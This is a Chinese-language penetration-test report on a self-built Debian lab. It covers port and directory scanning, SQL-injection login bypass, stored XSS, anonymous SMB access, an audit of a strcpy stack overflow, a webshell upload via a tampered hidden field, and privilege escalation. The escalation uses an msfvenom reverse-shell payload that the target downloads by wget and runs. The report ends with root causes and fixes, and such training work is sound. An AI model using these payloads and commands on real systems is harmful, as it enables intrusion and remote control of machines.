Debian 靶场渗透测试报告(含源码审计与缓冲区溢出分析)
Debian 靶场渗透测试报告(含源码审计与缓冲区溢出分析)
本文为自建靶场环境(Kali 攻击机 192.168.11.128 → Debian 靶机 192.168.11.135)的练习记录,非真实业务系统。
执行摘要:目标开放 22/25/80/139/445/3306/7777。Web 侧从
/admin后台入口发现 2 处 SQL 注入(post.php、profile.php)与 2 处存储型 XSS;用万能密码进入后台后,通过修改隐藏字段绕过前端限制上传 WebShell,取得系统权限;/repo目录下审计源码发现strcpy栈溢出(7777 端口);最后用 MSF 后渗透模块完成提权。结论:共 6 类风险,最高为高危(SQL 注入、任意文件上传、栈溢出),完整走通”Web 入口 → 系统权限 → 提权”三段。
信息收集
主机探测
- 使用
arp-scan -l发现目标靶机的IP地址是192.168.11.135。
1 | arp-scan -l |
端口扫描
- 使用
nmap 192.168.11.135发现目标靶机开启了:22,25,80,139,445,3306,7777端口。
1 | nmap -sV -T5 192.168.11.135 |
目录扫描
- 使用
dirsearch -u "``http://192.168.11.13``5"扫描目标IP目录。
1 | dirsearch -u "http://192.168.11.135" |
- 使用
dirb ``http://192.168.11.13``5/扫描目标IP目录。
1 | dirb http://192.168.11.135/ |
渗透阶段
Web漏洞
- 刚刚通过端口扫描,发现目标靶机开放了80端口,试着访问一下。
- 看了一下是个博客的页面,加上之前扫过目录,找到了
http://192.168.11.135/admin/路径,去访问一下试试看。
- 其中
post.php看文件名应该是一个POST提交的表单格式,这里面很有可能会让用户自己输入提交一些数据。
/admin/post.php目录下的SQL注入(2个)
- 我们尝试在
Username框中提交一个',发现数据库出现了报错,所以这里面很有可能存在SQL注入。
- 因为是表单格式的提交,所以我们使用BP抓一下请求包。
- 复制请求包,用sqlmap梭哈一下看看有什么结果。
1 | cat debain.txt |
- 查看结果可以发现,sqlmap 仅返回盲注类 payload,确认注入存在但未能取到数据;这类盲注继续手工挖效率很低,所以换了思路。
sqlmap给出的Payload都是关于盲注的,这样做效率太低了,也无法实现数据库的拖库,但是既然发现有SQL注入的漏洞,不如先用万能密码登录,因为之前的尝试发现没有登录好像是无法提交具体的BLOG内容的。
先尝试了一下
username的框发现并没有成功,但是尝试Password框发现成功登录:admin/aaa' or '1'='1。
/admin/post.php目录下的存储型XSS
- 通过2.2.1的SQL注入,现在我们可以发布自定义标题和内容的博客,我们在标题栏和内容栏输入
<script>alert(1)</script>和<script>alert(2)</script>,点击发布。
- 回到博客展示页面(
/myblog.php)发现只有内容栏发成了弹窗,所以这里只有内容栏存在存储型XSS。
/admin/profile.php目录下的SQL注入(2个)
- 与
/admin/post.php目录下的SQL注入很像,我们还是先通过BP抓包。
- 还是丢到sqlmap里梭哈一下,以看到,和上个页面的结果差不多,也全是盲注。
/admin/profile.php目录下的存储型XSS
- 我们还是利用万能密码登录:
admin/aaa' or '1'='1,发现可以直接登录成功,这样我们就可以提交表单内容了。
- 所以在提交的内容框内插入XSS恶意代码:
<script>alert(3)</script>。
- 回到博客展示页面(
/myblog.php)发现成功弹窗,所以这里也存在存储型XSS。
139/445端口:netbios-ssn服务
netbios-ssn服务中 允许 guest 匿名访问对方的共享资源,且 Samba 版本老旧,这是最高优先级目标,我们远程匿名访问一下。
1 | smbclient -L //192.168.11.135 -N # N表示不需要密码 |
命令执行成功,获得了以下关键信息:
匿名登录成功:目标主机(很可能是一台运行Samba服务的Debian系统服务器)配置存在安全隐患,其SMB服务允许无需密码的“匿名”用户连接。这是渗透测试中一个常见且重要的发现。
发现的共享资源:
print$:这是一个磁盘共享,通常用于存储打印机驱动程序。IPC$:这是一个进程间通信共享,用于远程管理和服务通信,是Windows/Samba系统的核心管理通道。
网络环境信息:目标主机位于名为
WORKGROUP的工作组中,其计算机名很可能是DEBIAN。
7777端口:缓冲区溢出漏洞
- 之前扫目录的时候还扫到了
/repo,进到这个目录下,我们可以看到有一个叫buffd的.c文件。
- 里面的内容如下。
1 |
|
代码审计
大概浏览了一下代码的内容,发现这串代码实现了三个作用:
创建TCP服务器,监听7777端口。
接受客户端连接,并为每个连接fork子进程处理)。
接收和发送数据。
其中用来实现第三个作用的代码,存在缓冲区溢出漏洞。
1
2
3
4
5
6void vulnerable(char *net_buffer)
{
char local_buffer[120]; // 只有120字节的缓冲区
strcpy(local_buffer, net_buffer); // 没有边界检查,存在缓冲区溢出漏洞
return;
}使用不安全的
strcpy函数。没有检查输入长度,容易导致缓冲区溢出攻击。
漏洞原理
缓冲区溢出(Buffer Overflow)是一种常见且危险的漏洞,发生在程序试图向缓冲区写入超出其容量的数据时,导致数据溢出到相邻的内存空间。这种现象可能破坏程序的正常运行,甚至被攻击者利用来执行恶意代码或获取系统权限。
缓冲区溢出的根本原因是程序未对用户输入进行严格检查。当数据超出缓冲区容量时,溢出的数据可能覆盖关键内存区域,如函数返回地址或局部变量,从而导致以下后果:
程序崩溃或拒绝服务。
执行恶意代码,攻击者可能通过修改返回地址使程序跳转到恶意代码位置。
获取系统权限,攻击者可能通过溢出漏洞获得管理员权限,执行任意操作。
例如,栈溢出是缓冲区溢出的一种常见形式,攻击者通过覆盖栈中的返回地址,控制程序的执行流程。
攻击思路就是我们发送超出长度的数据导致原来的数据被覆盖,下一条执行命令的地址也被覆盖,在传入数据时将ShellCode一起传上去,将这段代码的起始地址覆盖原来原返回的地址。
说明
- 【卡点】 这台靶机的二进制环境与利用脚本不匹配(glibc / 调试环境差异,返回地址难以稳定命中),没能把 PoC 推进到稳定的 RCE,所以这个漏洞的验证停在”确认栈溢出 → 输入可覆盖相邻内存”这一步。风险仍然成立(可导致进程崩溃,理论上可 RCE),但这里如实标注为未完成利用,不写成已打通。
RCE漏洞
- 结合之前扫出的目录,可以发现一个
/profiles目录,在这个目录下发现了,一些日志文件,它们的命名规则是随机数 + 用户名 + -- --sig.txt 结尾,并且可以打开查看内容。
- 结合之前在
/admin页面下也有一个profile.php文件,所以我们合理怀疑它们存在关系,F12检查网站源码,发现存在一个type类型为hidden的输入框。
- 直接将
type类型改成text发现果然在网页上出现了
- 可以发现,为文件加后缀的功能是在前端实现的,我们可以自由修改,所以这里我们是否可以远程植入一个代码,继续使用之前的万能密码绕过登录,然后将后缀名改为
.php最后在内容框中上传我们的WebShell。
- 回到
/profiles页面发现刚刚的文件已经上传成功了
- 运行木马程序,配置好Antsword并测试连接,发现连接成功。
提权阶段
- 通过指令查看当前目标靶机的内核版本,准备通过内核漏洞提权。
1 | uname -a |
- 使用 Metasploit框架中的
msfvenom工具生成 Linux 恶意可执行文件的木马。
1 | msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.11.128 LPORT=4444 -f elf -o exp.elf |
- MSF控制台中打开监听模块并设置对应的参数。
- 启动Python服务方便在目标靶机上下载当前恶意脚本。
1 | python3 -m http.server 8000 |
- 在目标靶机上下载当前文件,赋予执行权限并运行。
1 | wget [http://192.168.11.128:8000/exp.elf](http://192.168.11.128:8000/exp.elf) |
- 可以看到MSF已经开始监听了,按
Ctrl + Z把当前会话放到后台。
- 使用后渗透模块并设置参数。
- 运行发现,可以使用这些漏洞模块(显示为绿色的
- 使用时要切换端口,避免占用,最后发现提权成功。
总结与修复建议
根因
/admin/post.php与/admin/profile.php的查询由字符串拼接构造,未使用参数化;- 用户提交的内容直接输出到博客展示页,未按上下文做 HTML 编码;
- 关键限制写在前端(
type="hidden"字段 + 前端拼接后缀),服务端未复核,因此可被直接篡改; - Samba 允许匿名访问且版本老旧;
buffd.c使用strcpy且未校验长度。
修复
- SQL 注入:全部改为参数化查询(预编译),禁止拼接 SQL 字符串;
- XSS:按输出上下文做实体编码,并配合 CSP;
- 上传:服务端白名单校验后缀 + 文件内容检测 + 随机重命名 + 上传目录禁止解析;
- 前端限制不可信:任何
hidden字段、前端校验都必须在服务端重新校验一次; - Samba:关闭匿名访问、升级到受支持版本;
- 栈溢出:改用
strncpy/snprintf,并对输入长度做校验。










































